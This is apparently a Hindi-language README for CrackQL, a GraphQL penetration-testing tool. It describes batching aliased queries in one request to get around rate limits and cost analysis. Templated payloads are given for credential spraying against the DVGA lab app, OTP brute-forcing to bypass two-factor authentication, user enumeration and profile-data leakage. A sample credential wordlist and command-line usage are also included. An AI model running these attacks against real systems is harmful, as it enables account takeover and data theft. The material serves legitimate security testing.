
ग्राफ़क्यूएल पैठ परीक्षण उपकरण जो कमज़ोर दर सीमाओं और लागत विश्लेषण का शोषण करके क्रेडेंशियल्स को ब्रूट-फ़ोर्स करता है, टू-फ़ैक्टर ऑथेंटिकेशन को बायपास करता है, उपयोगकर्ताओं की गणना करता है, और बैच्ड एलियास क्वेरीज़ के माध्यम से ऑपरेशंस को फ़ज़ करता है।
CrackQL एक GraphQL पासवर्ड ब्रूट-फोर्स और फ़ज़िंग उपयोगिता है।
CrackQL एक बहुमुखी GraphQL पैठ परीक्षण उपकरण है जो खराब दर-सीमा और लागत विश्लेषण नियंत्रणों का लाभ उठाकर क्रेडेंशियल्स को ब्रूट-फोर्स करता है और ऑपरेशनों को फ़ज़ करता है।
CrackQL एक एकल GraphQL क्वेरी या म्यूटेशन को स्वचालित रूप से कई उपनाम ऑपरेशनों में बैच करके काम करता है। यह CSV इनपुट चर के आधार पर उपयोग करने के लिए उपनामों की संख्या निर्धारित करता है। प्रोग्रामेटिक रूप से बैच किए गए GraphQL दस्तावेज़ उत्पन्न करने के बाद, CrackQL फिर लक्ष्य GraphQL API को पेलोड(सं) को बैच और भेजता है और परिणामों और त्रुटियों को पार्स करता है।
CrackQL का उपयोग GraphQL हमलों की एक विस्तृत श्रृंखला के लिए किया जा सकता है, क्योंकि यह गतिशील इनपुट की सूची के आधार पर प्रोग्रामेटिक रूप से पेलोड उत्पन्न करता है।
Burp Intruder के विपरीत, जो प्रत्येक अद्वितीय पेलोड के लिए एक अनुरोध भेजता है, CrackQL कई उपनाम क्वेरी का उपयोग करके एकल HTTP अनुरोधों में क्रेडेंशियल के बड़े सेट भरकर पारंपरिक API HTTP दर-सीमा निगरानी बचाव को टालता है। क्वेरी लागत विश्लेषण बचाव को बायपास करने के लिए, CrackQL को छोटे बैच ऑपरेशनों (-b) की एक श्रृंखला का उपयोग करने के साथ-साथ समय विलंब (-D) के साथ अनुकूलित किया जा सकता है।
CrackQL उन GraphQL तैनातियों के खिलाफ उत्तम है जो इन-बैंड GraphQL प्रमाणीकरण संचालन का लाभ उठाती हैं (जैसे GraphQL Authentication Module)। नीचे दिया गया पासवर्ड स्प्रेयिंग उदाहरण sample-inputs/users-and-passwords.csv शब्दकोश के साथ DVGA के खिलाफ काम करता है।
mutation {
login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
सभी OTP (एक बार पासवर्ड) टोकन भेजकर दो-कारक प्रमाणीकरण को बायपास करने के लिए CrackQL का उपयोग करना संभव है।
sample-queries/otp-bypass.graphql
mutation {
twoFactor(otp: {{otp|int}}) {
accessToken
}
}
CrackQL का उपयोग वैध उपयोगकर्ता आईडी, उपयोगकर्ता नाम और ईमेल पते खोजने के लिए गणना हमलों के लिए भी किया जा सकता है।
sample-queries/enumeration.graphql
query {
signup(email: {{email|str}}, password: {{password|str}}) {
user {
email
}
}
}
CrackQL का उपयोग संभावित अद्वितीय पहचानकर्ताओं की एक बड़ी संख्या पर पुनरावृत्ति करके ऑब्जेक्ट जानकारी लीक करने के लिए किया जा सकता है।
query {
profile(uuid: {{uuid|int}}) {
name
email
picture
}
}
CrackQL का उपयोग सामान्य इनपुट फ़ज़िंग संचालन के लिए किया जा सकता है, जैसे संभावित SQLi और XSS पेलोड भेजना।
CrackQL CSV फ़ाइल द्वारा परिभाषित इनपुट चर के आधार पर पेलोड उत्पन्न करेगा। CrackQL को CSV हेडर के इनपुट नाम से मेल खाने की आवश्यकता है।
sample-inputs/usernames_and_passwords.csv
username, password admin, admin admin, password admin, pass admin, pass123 admin, password123 operator, operator operator, password operator, pass operator, pass123 operator, password123
strintfloatgit clone [email protected]:nicholasaleks/CrackQL.git
pip install -r requirements.txt
python3 CrackQL.py -h
Usage: python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
Options:
-h, --help show this help message and exit
-t URL, --target=URL Target url with a path to the GraphQL endpoint
-q QUERY, --query=QUERY
Input query or mutation operation with variable
payload markers
-i INPUT_CSV, --input-csv=INPUT_CSV
Path to a csv list of arguments (i.e. usernames,
emails, ids, passwords, otp_tokens, etc.)
-d DELIMITER, --delimiter=DELIMITER
CSV input delimiter (default: ",")
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
Output directory to store results (default:
./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
Number of batch operations per GraphQL document
request (default: 100)
-D DELAY, --delay=DELAY
Time delay in seconds between batch requests (default:
0)
--verbose Prints out verbose messaging
-v, --version Print out the current version and exit.
यदि एंडपॉइंट को प्रमाणीकरण की आवश्यकता है तो HTTP कुकीज़, हेडर या प्रॉक्सी सेट करने के लिए config.py का उपयोग करें।